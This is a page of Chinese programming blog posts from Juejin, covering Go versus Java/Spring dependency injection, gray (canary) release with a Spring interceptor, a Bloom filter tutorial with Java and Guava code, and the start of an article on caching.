- 编译成二进制(部署一个文件)
- 性能接近 C(比 Java 快很多)
- 启动秒开(没有 JVM 预热)
这种差异带来的实际影响
理论说完了,看看实际项目中的差异。
场景1:启动速度
Java/Spring 项目:
启动流程:
1. JVM 启动(1-2秒)
2. 加载类(2-3秒)
3. 扫描注解(3-5秒)
4. 构建依赖图(2-3秒)
5. 初始化 Bean(5-10秒)
6. AOP 代理(2-3秒)
总计:15-30秒
项目大了:1-2分钟
Go 项目:
启动流程:
1. 执行 main 函数
2. 创建对象
3. 启动服务
总计:0.1-0.5秒
项目再大:也就几秒
这就是为什么 Go 适合做 CLI 工具、K8s 组件:启动快。
场景2:内存占用
Java/Spring 项目:
启动后内存:
- JVM 基础:100-200MB
- Spring 容器:50-100MB
- 对象缓存:100-200MB
最小内存:300-500MB
实际运行:1-2GB
Go 项目:
启动后内存:
- 没有虚拟机
- 没有容器
- 只有你创建的对象
最小内存:10-20MB
实际运行:50-200MB
这就是为什么 Go 适合做微服务、容器应用:省资源。
场景3:调试体验
Java/Spring 遇到空指针:
// 报错
NullPointerException at OrderService.process()
// 原因可能是:
1. paymentService 没有注入成功
2. 某个 @Conditional 条件不满足
3. 循环依赖导致代理失败
4. 配置文件写错了
// 排查过程:
- 看日志,找不到原因
- 打断点,发现字段是 null
- Google,找到类似问题
- 尝试各种方案
- 1小时后,发现是配置文件拼写错误
Go 遇到空指针:
// 报错
panic: runtime error: invalid memory address
// 看代码
orderSvc := NewOrderService(
paymentSvc,
nil, // 这里忘了传
notificationSvc,
)
// 排查过程:
- 看报错行号
- 看代码
- 发现 nil
- 改完,搞定
// 5 秒钟解决
Java 开发者常犯的错误
看几个 Java 开发者写 Go 时常犯的错误。
错误1:找依赖注入框架
错误想法:
"Go 的依赖注入框架哪个好?Wire?Dig?"
正确做法:
别找了,手动传参就够了
有些 Go 项目确实用了 Wire、Dig,但那是因为:
- 项目太大(100+ 个 Service)
- 自动生成代码,减少重复
大部分项目,手动传参就够了。
错误2:过度抽象
// 错误做法:照搬 Java 那套
type ServiceFactory interface {
CreateUserService() UserService
CreateOrderService() OrderService
}
type ServiceFactoryImpl struct {
db *DB
}
func (f *ServiceFactoryImpl) CreateUserService() UserService {
return NewUserService(f.db)
}
// 正确做法:直接创建
func main() {
db := NewDB()
userSvc := NewUserService(db)
orderSvc := NewOrderService(db)
}
错误3:到处用接口
// 错误做法:每个 struct 都配个 interface
type UserService interface {
GetUser(id int) (*User, error)
}
type UserServiceImpl struct {
repo *UserRepository
}
// 正确做法:需要 mock 时才定义 interface
type UserService struct {
repo *UserRepository
}
// 测试时才定义
type UserRepository interface {
Find(id int) (*User, error)
}
Go 的接口是隐式实现的,不需要到处声明。
错误4:配置文件过度使用
# 错误做法:把所有配置都写 YAML
database:
host: localhost
port: 3306
user: root
services:
user:
enabled: true
timeout: 5s
order:
enabled: true
timeout: 10s
// 正确做法:代码即配置
func main() {
db := NewDB("localhost:3306", "root", "password")
userSvc := NewUserService(db, 5*time.Second)
orderSvc := NewOrderService(db, 10*time.Second)
}
Go 的理念是:代码就是最好的配置。
什么时候该用依赖注入框架?
话说回来,真的完全不需要 DI 框架吗?也不是。
适合手动传参的场景(大部分情况)
小型项目(<50 个组件)
// 清晰、直接、易调试
func main() {
db := NewDB()
cache := NewCache()
userRepo := NewUserRepository(db)
orderRepo := NewOrderRepository(db)
userSvc := NewUserService(userRepo, cache)
orderSvc := NewOrderService(orderRepo, userSvc)
// 10-20 个组件,完全可控
}
中型项目(50-100 个组件)
// 可以考虑分组管理
type Services struct {
User *UserService
Order *OrderService
// ...
}
func InitServices(db *DB) *Services {
userRepo := NewUserRepository(db)
orderRepo := NewOrderRepository(db)
return &Services{
User: NewUserService(userRepo),
Order: NewOrderService(orderRepo),
}
}
适合用 DI 框架的场景
大型微服务(>100 个组件)
当你的项目有 100+ 个 Service、Repository、Client 时,手动传参确实会很繁琐。这时可以考虑:
Wire(Google 官方推荐)
- 编译时生成代码,不是运行时反射
- 性能无损耗
- 类型安全
- 适合大型项目
// wire.go
//go:build wireinject
func InitializeApp() (*App, error) {
wire.Build(
NewDB,
NewUserRepository,
NewUserService,
NewApp,
)
return nil, nil
}
// wire 会自动生成代码
Dig(Uber 出品)
- 运行时依赖注入
- 更灵活,但有性能开销
- 适合需要动态配置的场景
判断标准:
组件数 < 50 个 → 手动传参
组件数 50-100 个 → 手动传参 + 分组管理
组件数 > 100 个 → 考虑 Wire
需要插件化/动态加载 → 考虑 Dig
CLI 工具/脚本类应用 → 绝对不需要 DI 框架
记住一个原则:
不要为了"看起来像企业级架构"而引入 DI 框架。大部分 Go 项目,手动传参就够了。
澄清一个误解:Go 不是"反对抽象"
看到这里,有些人可能会想:"Go 这么简单粗暴,是不是就是写面条代码?"
不是的。
Go 的设计哲学不是"反对抽象",而是**"反对过早抽象、反对过度抽象"**。
Go 鼓励的抽象方式
1. 需要解耦时才引入接口
// 错误做法:提前抽象
type UserService interface {
GetUser(id int) (*User, error)
CreateUser(user *User) error
}
type UserServiceImpl struct { }
// 正确做法:需要 mock 时才抽象
type UserService struct {
repo UserRepository // 这里才用接口
}
type UserRepository interface {
Find(id int) (*User, error)
Save(user *User) error
}
2. 真正需要多态时才用接口
// 有多个实现时才抽象
type Storage interface {
Save(key string, value []byte) error
Load(key string) ([]byte, error)
}
// 文件存储实现
type FileStorage struct { }
// Redis 存储实现
type RedisStorage struct { }
// S3 存储实现
type S3Storage struct { }
Go 的理念是:
- 先用具体类型写代码
- 发现真正需要抽象时(测试、多实现),再引入接口
- 不要为了"看起来专业"而提前抽象
这不是反对抽象,而是在正确的时机做正确的事。
什么时候该用框架?
话说回来,难道 Go 就完全不需要框架了?
也不是。
适合用框架的场景
1. HTTP 路由:Gin、Echo
// 标准库的 http.ServeMux 太简陋
// 用 Gin 处理路由、中间件更方便
r := gin.Default()
r.GET("/users/:id", getUser)
r.POST("/orders", createOrder)
2. ORM:GORM
// 标准库的 database/sql 写 SQL 太麻烦
// 用 GORM 处理关联查询更方便
db.Where("age > ?", 18).Find(&users)
3. 配置管理:Viper
// 管理多环境配置
viper.SetConfigName("config")
viper.ReadInConfig()
不适合用框架的场景
1. 依赖注入
不需要 Wire、Dig,手动传参就够了。
2. 业务逻辑
不要用框架包装业务逻辑,直接写代码。
3. 简单功能
不要为了"看起来专业"而引入框架。
给 Java 开发者的建议
如果你是 Java 开发者,开始写 Go,记住这几点:
1. 忘掉 Spring 那套
别想着:
- 在哪配置注解
- 怎么注入依赖
- 怎么用 AOP
直接写代码就行
2. 拥抱"啰嗦"
Java 开发者看 Go:
"怎么要手动 new 这么多对象?太啰嗦了!"
写一段时间后:
"原来清晰明了比简洁更重要。"
3. 代码即文档
Java 项目:
- 要看 XML 配置
- 要看注解定义
- 要看框架文档
Go 项目:
- 看 main 函数
- 看 NewXXX 函数
- 看代码就够了
4. 简单优于复杂
遇到问题:
第一反应不是"找个框架"
而是"能不能写100行代码搞定"
90%的情况,100行代码就够了
一个实际例子
最后用一个例子,对比一下两种风格。
场景:订单服务
需要:
- 数据库操作
- 支付服务调用
- 库存服务调用
- 通知服务调用
Java/Spring 实现
// Application.java
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
// OrderController.java
@RestController
@RequestMapping("/orders")
public class OrderController {
@Autowired
private OrderService orderService;
@PostMapping
public Order create(@RequestBody CreateOrderRequest req) {
return orderService.create(req);
}
}
// OrderService.java
@Service
public class OrderService {
@Autowired
private OrderRepository orderRepository;
@Autowired
private PaymentService paymentService;
@Autowired
private InventoryService inventoryService;
@Autowired
private NotificationService notificationService;
public Order create(CreateOrderRequest req) {
// 业务逻辑
}
}
配置文件 application.yml:
spring:
datasource:
url: jdbc:mysql://localhost:3306/db
username: root
password: password
代码文件: 4个
配置文件: 1个
看起来: 很简洁
实际运行: 一堆魔法
Go 实现
// main.go
func main() {
// 创建依赖
db := NewDB("localhost:3306", "root", "password")
defer db.Close()
orderRepo := NewOrderRepository(db)
paymentSvc := NewPaymentService()
inventorySvc := NewInventoryService()
notificationSvc := NewNotificationService()
orderSvc := NewOrderService(
orderRepo,
paymentSvc,
inventorySvc,
notificationSvc,
)
// 创建 HTTP Handler
r := gin.Default()
r.POST("/orders", func(c *gin.Context) {
var req CreateOrderRequest
if err := c.BindJSON(&req); err != nil {
c.JSON(400, gin.H{"error": err.Error()})
return
}
order, err := orderSvc.Create(req)
if err != nil {
c.JSON(500, gin.H{"error": err.Error()})
return
}
c.JSON(200, order)
})
// 启动服务
r.Run(":8080")
}
// order_service.go
type OrderService struct {
orderRepo *OrderRepository
paymentSvc *PaymentService
inventorySvc *InventoryService
notificationSvc *NotificationService
}
func NewOrderService(
orderRepo *OrderRepository,
paymentSvc *PaymentService,
inventorySvc *InventoryService,
notificationSvc *NotificationService,
) *OrderService {
return &OrderService{
orderRepo: orderRepo,
paymentSvc: paymentSvc,
inventorySvc: inventorySvc,
notificationSvc: notificationSvc,
}
}
func (s *OrderService) Create(req CreateOrderRequest) (*Order, error) {
// 业务逻辑
}
代码文件: 2个
配置文件: 0个
看起来: 有点啰嗦
实际运行: 一目了然
最后的思考:从 Spring 到 main(),是一次思维升级
从 Java 转 Go,最大的障碍不是语法,而是思维方式。
Java/Spring 的思维:
- 框架帮你管理一切
- 抽象层次越高越好
- 配置优于代码
- "我不需要知道对象怎么创建的,框架会处理"
Go 的思维:
- 你自己管理一切
- 简单直接就够了
- 代码即配置
- "我清楚地知道每个对象是怎么来的"
这不是谁对谁错,而是不同的设计哲学,适合不同的场景。
给 Java 开发者的建议
如果你从 Java 转 Go,记住这几点:
1. 拥抱"啰嗦",它带来的是清晰
刚开始:
"怎么要手动 new 这么多对象?太麻烦了!"
一个月后:
"原来看一眼 main 函数就知道整个系统是怎么组装的。"
2. 别急着找"Go 的 Spring"
Go 生态里有很多框架,但:
- 不要为了"看起来专业"而引入框架
- 不要为了"企业级架构"而过度设计
- 先写代码解决问题,再考虑是否需要框架
3. 代码即文档
Java 项目理解成本:
- 看配置文件
- 看注解定义
- 看框架文档
- 猜测对象是怎么创建的
Go 项目理解成本:
- 看 main 函数
- 看 NewXXX 函数
- 就这么简单
4. 简单优于复杂
遇到问题时:
第一反应不是"有没有框架能解决"
而是"能不能写 100 行代码搞定"
90% 的情况,100 行代码就够了
从 Spring 到 main(),不是倒退,而是升级
你失去的是:
- 自动注入的"魔法"
- 复杂的抽象层次
- 庞大的框架依赖
你获得的是:
- 对系统的完全掌控
- 清晰可见的执行流程
- 快速的启动和调试
- 简单直接的代码组织
这不是倒退,而是一次返璞归真的旅程。
最后的鼓励
从 Spring 的"魔法"转到 Go 的"手工",一开始可能会不适应。
你可能会觉得:
- "怎么这么原始?"
- "怎么要写这么多重复代码?"
- "没有框架怎么办?"
但坚持一周,你会发现:
- 代码更清晰了
- 调试更简单了
- 启动更快了
- 部署更轻了
再过一个月,当你回头看 Spring 项目时,你会想:
- "这个对象是怎么创建的?"
- "这个注解背后做了什么?"
- "为什么启动要 30 秒?"
那时候,你就真正理解了 Go 的设计哲学。
记住:
Go 的哲学是:显式优于隐式,简单优于复杂。
从 Spring 到 main(),你失去的是魔法,获得的是掌控。
适应这个哲学,你就适应了 Go。
欢迎来到 Go 的世界。
就这样。
来源:juejin.cn/post/7587712328826224676
程序员,你使用过灰度发布吗?
大家好呀,我是猿java。
在分布式系统中,我们经常听到灰度发布这个词,那么,什么是灰度发布?为什么需要灰度发布?如何实现灰度发布?这篇文章,我们来聊一聊。
1. 什么是灰度发布?
简单来说,灰度发布也叫做渐进式发布或金丝雀发布,它是一种逐步将新版本应用到生产环境中的策略。相比于一次性全量发布,灰度发布可以让我们在小范围内先行测试新功能,监控其表现,再决定是否全面推开。这样做的好处是显而易见的:
- 降低风险:新版本如果存在 bug,只影响少部分用户,减少了对整体用户体验的冲击。
- 快速回滚:在小范围内发现问题,可以更快地回到旧版本。
- 收集反馈:可以在真实环境中收集用户反馈,优化新功能。
2. 原理解析
要理解灰度发布,我们需要先了解一下它的基本流程:
- 准备阶段:在生产环境中保留旧版本,同时引入新版本。
- 小范围发布:将新版本先部署到一小部分用户,例如1%-10%。
- 监控与评估:监控新版本的性能和稳定性,收集用户反馈。
- 逐步扩展:如果一切正常,将新版本逐步推广到更多用户。
- 全面切换:当确认新版本稳定后,全面替换旧版本。
在这个过程中,关键在于如何切分流量,确保新旧版本平稳过渡。常见的切分方式包括:
- 基于用户ID:根据用户的唯一标识,将部分用户指向新版本。
- 基于地域:先在特定地区进行发布,观察效果后再扩展到其他地区。
- 基于设备:例如,先在Android或iOS用户中进行发布。
3. 示例演示
为了更好地理解灰度发布,接下来,我们通过一个简单的 Java示例来演示基本的灰度发布策略。假设我们有一个简单的 Web应用,有两个版本的登录接口/login/v1和/login/v2,我们希望将百分之十的流量引导到v2,其余流量继续使用v1。
3.1 第一步:引入灰度策略
我们可以通过拦截器(Interceptor)来实现流量的切分。以下是一个基于Spring Boot的简单实现:
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Random;
@Component
public class GrayReleaseInterceptor implements HandlerInterceptor {
private static final double GRAY_RELEASE_PERCENT = 0.1; // 10% 流量
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String uri = request.getRequestURI();
if ("/login".equals(uri)) {
if (isGrayRelease()) {
// 重定向到新版本接口
response.sendRedirect("/login/v2");
return false;
} else {
// 使用旧版本接口
response.sendRedirect("/login/v1");
return false;
}
}
return true;
}
private boolean isGrayRelease() {
Random random = new Random();
return random.nextDouble() < GRAY_RELEASE_PERCENT;
}
}
3.2 第二步:配置拦截器
在Spring Boot中,我们需要将拦截器注册到应用中:
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.*;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Autowired
private GrayReleaseInterceptor grayReleaseInterceptor;
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(grayReleaseInterceptor).addPathPatterns("/login");
}
}
3.3 第三步:实现不同版本的登录接口
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping("/login")
public class LoginController {
@GetMapping("/v1")
public String loginV1(@RequestParam String username, @RequestParam String password) {
// 旧版本登录逻辑
return "登录成功 - v1";
}
@GetMapping("/v2")
public String loginV2(@RequestParam String username, @RequestParam String password) {
// 新版本登录逻辑
return "登录成功 - v2";
}
}
在上面三个步骤之后,我们就实现了登录接口地灰度发布:
- 当用户访问
/login时,拦截器会根据设定的灰度比例(10%)决定请求被重定向到/login/v1还是/login/v2。 - 大部分用户会体验旧版本接口,少部分用户会体验新版本接口。
3.4 灰度发布优化
上述示例,我们只是一个简化的灰度发布实现,实际生产环境中,我们可能需要更精细的灰度策略,例如:
- 基于用户属性:不仅仅是随机切分,可以根据用户的地理位置、设备类型等更复杂的条件。
- 动态配置:通过配置中心动态调整灰度比例,无需重启应用。
- 监控与告警:集成监控系统,实时监控新版本的性能指标,异常时自动回滚。
- A/B 测试:结合A/B测试,进一步优化用户体验和功能效果。

4. 为什么需要灰度发布?
在实际工作中,为什么我们要使用灰度发布?这里我们总结了几个重要的原因。
4.1 降低发布风险
每次发布新版本,尤其是功能性更新或架构调整,都会伴随着一定的风险。即使经过了充分的测试,实际生产环境中仍可能出现意想不到的问题。灰度发布通过将新版本逐步推向部分用户,可以有效降低全量发布可能带来的风险。
举个例子,假设你上线了一个全新的支付功能,直接面向所有用户开放。如果这个功能存在严重 bug,可能导致大量用户无法完成支付,甚至影响公司声誉。而如果采用灰度发布,先让10%的用户体验新功能,发现问题后只需影响少部分用户,修复起来也更为迅速和容易。
4.2 快速回滚
在传统的全量发布中,一旦发现问题,回滚到旧版本可能需要耗费大量时间和精力,尤其是在高并发系统中,数据状态的同步与恢复更是复杂。而灰度发布由于新版本只覆盖部分流量,问题定位和回滚变得更加简单和快速。
比如说,你在灰度发布阶段发现新版本的某个功能在某些特定条件下会导致系统崩溃,立即可以停止向新用户推送这个版本,甚至只针对受影响的用户进行回滚操作,而不用影响全部用户的正常使用。
4.3 实时监控与反馈
灰度发布让你有机会在真实的生产环境中监控新版本的表现,并收集用户的反馈。这些数据对于评估新功能的实际效果至关重要,有助于做出更明智的决策。
举个具体的场景,你新增了一个推荐算法,希望提升用户的点击率。在灰度发布阶段,你可以监控新算法带来的点击率变化、服务器负载情况等指标,确保新算法确实带来了预期的效果,而不是引入了新的问题。
4.4 提升用户体验
通过灰度发布,你可以在推出新功能时,逐步优化用户体验。先让一部分用户体验新功能,收集他们的使用反馈,根据反馈不断改进,最终推出一个更成熟、更符合用户需求的版本。
举个例子,你开发了一项新的用户界面设计,直接全量发布可能会让一部分用户感到不适应或不满意。灰度发布允许你先让一部分用户体验新界面,收集他们的意见,进行必要的调整,再逐步扩大使用范围,确保最终发布的版本能获得更多用户的认可和喜爱。
4.5 支持A/B测试
灰度发布是实现A/B测试的基础。通过将用户随机分配到不同的版本,你可以比较不同版本的表现,选择最优方案进行全面推行。这对于优化产品功能和提升用户体验具有重要意义。
比如说,你想测试两个不同的推荐算法,看哪个能带来更高的转化率。通过灰度发布,将用户随机分配到使用算法A和算法B的版本,比较它们的表现,最终选择效果更好的算法进行全面部署。
4.6 应对复杂的业务需求
在一些复杂的业务场景中,全量发布可能无法满足灵活的需求,比如分阶段推出新功能、针对不同用户群体进行差异化体验等。灰度发布提供了更高的灵活性和可控性,能够更好地适应多变的业务需求。
例如,你正在开发一个面向企业用户的新功能,希望先让部分高价值客户试用,收集他们的反馈后再决定是否全面推广。灰度发布让这一过程变得更加顺畅和可控。
5. 总结
本文,我们详细地分析了灰度发布,它是一种强大而灵活的部署策略,能有效降低新版本上线带来的风险,提高系统的稳定性和用户体验。作为Java开发者,掌握灰度发布的原理和实现方法,不仅能提升我们的技术能力,还能为团队的项目成功保驾护航。
对于灰度发布,如果你有更多的问题或想法,欢迎随时交流!
6. 学习交流
如果你觉得文章有帮助,请帮忙转发给更多的好友,或关注公众号:猿java,持续输出硬核文章。
来源:juejin.cn/post/7488321730764603402
布隆过滤器(附Java代码)
一、前言
想象这样一个场景:你的电商系统每天有1000万次商品查询,但其中90%是无效ID(比如用户手误输入或恶意爬虫)。每次查询都要穿透缓存打到数据库,数据库压力山大!
// 传统做法:每次都要查数据库
public Product queryProduct(Long id) {
Product product = cache.get(id); // Redis缓存
if (product == null) {
product = db.query(id); // 90%的无效请求打到数据库!
if (product != null) {
cache.set(id, product);
}
}
return product;
}
布隆过滤器(Bloom Filter) 就是解决这类问题的利器:它用极小的空间快速判断“某个元素一定不存在”或“可能存在”,从而在查询前提前拦截无效请求,保护后端数据库。
典型应用场景:
- 防止缓存穿透(无效Key反复查询数据库)
- 网页爬虫URL去重
- 邮箱系统黑名单过滤
- 推荐系统已读内容过滤
二、核心原理
2.1 生活化类比:图书馆的“借书登记表”
假设图书馆有100万个座位,管理员用一张超大登记表(位数组)记录谁来过:
| 座位号 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | ... |
|---|---|---|---|---|---|---|---|---|---|---|---|
| 状态 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | ... |
- 当张三来借书,管理员用3个不同规则计算他的“专属座位”:
- 规则1:姓名笔画数 % 10 → 座位2
- 规则2:身-份-证后3位 % 10 → 座位4
- 规则3:生日数字和 % 10 → 座位7
- 管理员把2、4、7号座位标记为
1 - 下次张三再来,只要所有对应座位都是1,就认为“他可能来过”;只要有一个是0,就确定“他没来过”
核心特性:
- 绝不漏判:如果元素不存在,100%能判断出来(座位有0)
- 可能误判:如果所有座位都是1,可能是别人“撞座位”了(误判率可控)
- 无法删除:座位一旦标1,不能随便改回0(否则会影响其他元素)
2.2 技术原理图解
元素 "nontee"
│
├─ 哈希函数1 → 位置 15 → 位数组[15] = 1
├─ 哈希函数2 → 位置 87 → 位数组[87] = 1
└─ 哈希函数3 → 位置 203 → 位数组[203] = 1
查询 "nontee"
│
├─ 哈希函数1 → 位置 15 → 检查位数组[15] == 1? ✓
├─ 哈希函数2 → 位置 87 → 检查位数组[87] == 1? ✓
└─ 哈希函数3 → 位置 203 → 检查位数组[203] == 1? ✓
↓
结论:可能存在(需二次确认)
2.3 关键参数:如何控制误判率?
布隆过滤器有3个核心参数:
| 参数 | 说明 | 影响 |
|---|---|---|
m | 位数组大小(bit) | 越大误判率越低,但占空间 |
n | 预期插入元素数量 | 超过预期会导致误判率飙升 |
k | 哈希函数个数 | 最佳值 ≈ (m/n) * ln2 |
误判率公式:
经验法则:每存储1个元素,分配10bit空间,误判率约1%
例如:存储100万个元素 → 需要 100万 × 10 bit ≈ 1.25MB(传统HashSet需几十MB!)
三、代码实战
3.1 手写简易版布隆过滤器(理解原理必备)
import java.util.BitSet;
import java.util.MissingResourceException;
/**
* 简易布隆过滤器实现(教学用途)
* 特点:使用3个哈希函数,固定大小位数组
*/
public class SimpleBloomFilter {
// 位数组(实际存储结构)
private final BitSet bitSet;
// 位数组大小(单位:bit)
private final int bitSize;
// 哈希函数种子(用于生成不同哈希值)
private final int[] seeds = {7, 11, 13};
/**
* 构造函数
* @param expectedSize 预期元素数量
* @param falsePositiveRate 期望误判率(如0.01表示1%)
*/
public SimpleBloomFilter(int expectedSize, double falsePositiveRate) {
// 根据公式计算最佳位数组大小: m = - (n * ln(p)) / (ln2)^2
this.bitSize = (int) (-expectedSize * Math.log(falsePositiveRate) / Math.pow(Math.log(2), 2));
this.bitSet = new BitSet(bitSize);
System.out.println(">>> 布隆过滤器初始化完成 | 位数组大小: " + bitSize + " bit (" + bitSize / 8 / 1024 + " KB)");
}
/**
* 插入元素
* @param value 待插入的字符串
*/
public void put(String value) {
if (value == null) return;
// 对每个哈希函数计算位置并设置bit为1
for (int seed : seeds) {
int position = hash(value, seed) % bitSize;
bitSet.set(position); // 设置该位置为1
}
}
/**
* 判断元素是否存在
* @param value 待查询字符串
* @return true: 可能存在 | false: 一定不存在
*/
public boolean mightContain(String value) {
if (value == null) return false;
// 检查所有哈希位置是否都为1
for (int seed : seeds) {
int position = hash(value, seed) % bitSize;
if (!bitSet.get(position)) {
// 只要有一个位置是0,元素一定不存在
return false;
}
}
// 所有位置都是1,元素可能存在(有误判可能)
return true;
}
/**
* 简易哈希函数(教学用,实际生产需用更均匀的哈希)
* @param value 原始字符串
* @param seed 种子值(不同种子产生不同哈希)
* @return 哈希值
*/
private int hash(String value, int seed) {
int result = 0;
for (int i = 0; i < value.length(); i++) {
result = seed * result + value.charAt(i);
}
// 处理负数
return (result < 0) ? -result : result;
}
// ===== 测试代码 =====
public static void main(String[] args) {
// 创建过滤器:预计10000个元素,误判率1%
SimpleBloomFilter bloomFilter = new SimpleBloomFilter(10000, 0.01);
// 插入1000个用户ID
for (int i = 0; i < 1000; i++) {
bloomFilter.put("user_" + i);
}
// 测试1:查询存在的元素
System.out.println("\n【测试1】查询存在的元素:");
System.out.println("user_500 是否存在? " + bloomFilter.mightContain("user_500")); // true
// 测试2:查询不存在的元素(大概率返回false)
System.out.println("\n【测试2】查询不存在的元素:");
System.out.println("user_99999 是否存在? " + bloomFilter.mightContain("user_99999")); // false
// 测试3:演示误判(多次测试可能触发)
System.out.println("\n【测试3】误判演示(多次运行可能触发):");
int falsePositiveCount = 0;
for (int i = 10000; i < 20000; i++) {
if (bloomFilter.mightContain("user_" + i)) {
falsePositiveCount++;
}
}
System.out.println("在10000次不存在查询中,误判次数: " + falsePositiveCount);
System.out.printf("实际误判率: %.2f%%\n", (double) falsePositiveCount / 10000 * 100);
}
}
运行输出示例:
>>> 布隆过滤器初始化完成 | 位数组大小: 95851 bit (11 KB)
【测试1】查询存在的元素:
user_500 是否存在? true
【测试2】查询不存在的元素:
user_99999 是否存在? false
【测试3】误判演示(多次运行可能触发):
在10000次不存在查询中,误判次数: 98
实际误判率: 0.98%
3.2 工业级实战:Guava布隆过滤器(生产环境推荐)
Google Guava库提供了经过优化的布隆过滤器实现,强烈推荐生产环境使用:
<!-- Maven依赖 -->
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>32.1.3-jre</version> <!-- 使用最新稳定版 -->
</dependency>
import com.google.common.hash.BloomFilter;
import com.google.common.hash.Funnels;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
/**
* Guava布隆过滤器实战:防止缓存穿透
*/
public class CachePenetrationDefense {
// 创建布隆过滤器:预计100万个用户ID,误判率1%
private static final BloomFilter<String> userIdFilter =
BloomFilter.create(
Funnels.stringFunnel(StandardCharsets.UTF_8), // 指定字符串编码
1_000_000, // 预期元素数量
0.01 // 误判率
);
// 模拟数据库
private static final List<String> database = new ArrayList<>();
static {
// 预热:将真实用户ID加入布隆过滤器
for (int i = 1; i <= 10000; i++) {
String userId = "user_" + i;
database.add(userId);
userIdFilter.put(userId); // 关键:插入过滤器
}
System.out.println(">>> 布隆过滤器预热完成,共加载 " + database.size() + " 个用户ID");
}
/**
* 安全查询用户(带布隆过滤器防护)
*/
public static String queryUserSafe(String userId) {
// 第一步:布隆过滤器快速判断
if (!userIdFilter.mightContain(userId)) {
System.out.println("[BloomFilter] 拦截无效请求: " + userId + "(一定不存在)");
return null; // 直接返回,不查数据库!
}
// 第二步:可能存在,查缓存/数据库(此处简化为直接查库)
System.out.println("[BloomFilter] 通过初筛: " + userId + "(可能存在,继续查询)");
if (database.contains(userId)) {
System.out.println("[DB] 查询成功: " + userId);
return userId;
} else {
// 注意:这里可能是误判!需要记录日志分析
System.out.println("[WARN] 布隆过滤器误判: " + userId);
return null;
}
}
public static void main(String[] args) {
// 场景1:查询真实用户(应成功)
queryUserSafe("user_500");
System.out.println("\n---------- 分隔线 ----------\n");
// 场景2:查询无效用户(应被拦截)
queryUserSafe("hacker_999999");
System.out.println("\n---------- 分隔线 ----------\n");
// 场景3:压力测试 - 10万次无效请求
long startTime = System.currentTimeMillis();
int blockedCount = 0;
for (int i = 0; i < 100000; i++) {
if (queryUserSafe("invalid_" + i) == null) {
blockedCount++;
}
}
long costTime = System.currentTimeMillis() - startTime;
System.out.printf("\n【压力测试结果】拦截 %d 次无效请求,耗时 %d ms,QPS: %.0f\n",
blockedCount, costTime, 100000.0 / costTime * 1000);
}
}
输出示例:
>>> 布隆过滤器预热完成,共加载 10000 个用户ID
[BloomFilter] 通过初筛: user_500(可能存在,继续查询)
[DB] 查询成功: user_500
---------- 分隔线 ----------
[BloomFilter] 拦截无效请求: hacker_999999(一定不存在)
---------- 分隔线 ----------
[BloomFilter] 拦截无效请求: invalid_0(一定不存在)
[BloomFilter] 拦截无效请求: invalid_1(一定不存在)
...
【压力测试结果】拦截 100000 次无效请求,耗时 125 ms,QPS: 800000
关键结论:10万次无效请求0次打到数据库,全部被布隆过滤器在微秒级拦截!
四、踩坑指南
坑1:误判率设置过低导致空间爆炸
// 错误示范:追求0.001%误判率,空间需求暴增10倍!
BloomFilter.create(Funnels.stringFunnel(UTF_8), 1_000_000, 0.00001);
// 正确做法:根据业务容忍度选择
// - 缓存穿透防护:1%~5% 足够(拦截95%+无效请求)
// - 金融风控:0.1% 以下(宁可多占空间也不能漏判)
坑2:元素数量超过预期,误判率飙升
布隆过滤器必须预估元素数量!超过预期后:
- 位数组1的比例越来越高
- 误判率呈指数级上升
// 危险操作:插入远超预期的元素
BloomFilter<String> filter = BloomFilter.create(..., 10000, 0.01);
for (int i = 0; i < 100000; i++) { // 插入10万,超预期10倍!
filter.put("user_" + i);
}
// 此时误判率可能高达50%以上!
解决方案:
- 预留20%~30%余量
- 使用可扩展布隆过滤器(如RedisBloom模块)
- 定期重建过滤器(适用于数据有生命周期的场景)
坑3:试图“删除”元素
布隆过滤器原生不支持删除!因为:
- 多个元素可能共享同一个bit位
- 删除时无法判断该bit是否被其他元素占用
// 错误想法:想删除user_100
filter.delete("user_100"); // 不存在此方法!
// 正确方案:
// 1. 使用Counting Bloom Filter(计数布隆过滤器,空间翻倍)
// 2. 业务层标记删除(如数据库加is_deleted字段)
// 3. 定期重建过滤器(适用于短期数据)
坑4:哈希函数选择不当导致分布不均
手写实现时,劣质哈希函数会导致:
- 位数组某些区域密集,某些区域稀疏
- 实际误判率远高于理论值
// 劣质哈希:只用字符串长度,碰撞率极高!
int hash = value.length() % bitSize;
// 推荐方案:
// 1. 生产环境直接用Guava(内部使用MurmurHash3,分布均匀)
// 2. 手写时用多个质数种子组合
五、总结
| 特性 | 说明 | 适用场景 |
|---|---|---|
| 空间效率 | 100万元素仅需1.25MB | 内存敏感场景(如嵌入式设备) |
| 查询速度 | O(k) 常数时间(k为哈希函数数) | 高并发拦截场景 |
| 误判特性 | 可能误判“存在”,但绝不误判“不存在” | 适合做“存在性”初筛 |
| 不可删除 | 原生不支持删除操作 | 适合只增不减的数据集 |
| 持久化 | 可序列化位数组到磁盘/Redis | 重启后快速恢复 |
最佳实践三板斧:
- 用Guava别手写:除非教学/特殊需求,生产环境直接用Guava
- 预估要留余量:预期数量 × 1.3 作为初始化参数
- 组合使用更安全:布隆过滤器 + 缓存 + 数据库 三级防护
来源:juejin.cn/post/7607112994062712859
工作中最常用的6种缓存
前言
这些年我参与设计过很多系统,越来越深刻地认识到:一个系统的性能如何,很大程度上取决于缓存用得怎么样。
同样是缓存,为何有人用起来系统飞升,有人却踩坑不断?
有些小伙伴在工作中可能遇到过这样的困惑:知道要用缓存,但面对本地缓存、Redis、Memcached、CDN等多种选择,到底该用哪种?
今天这篇文章跟大家一起聊聊工作中最常用的6种缓存,希望对你会有所帮助。
更多项目实战在我的技术网站:www.susan.net.cn/project
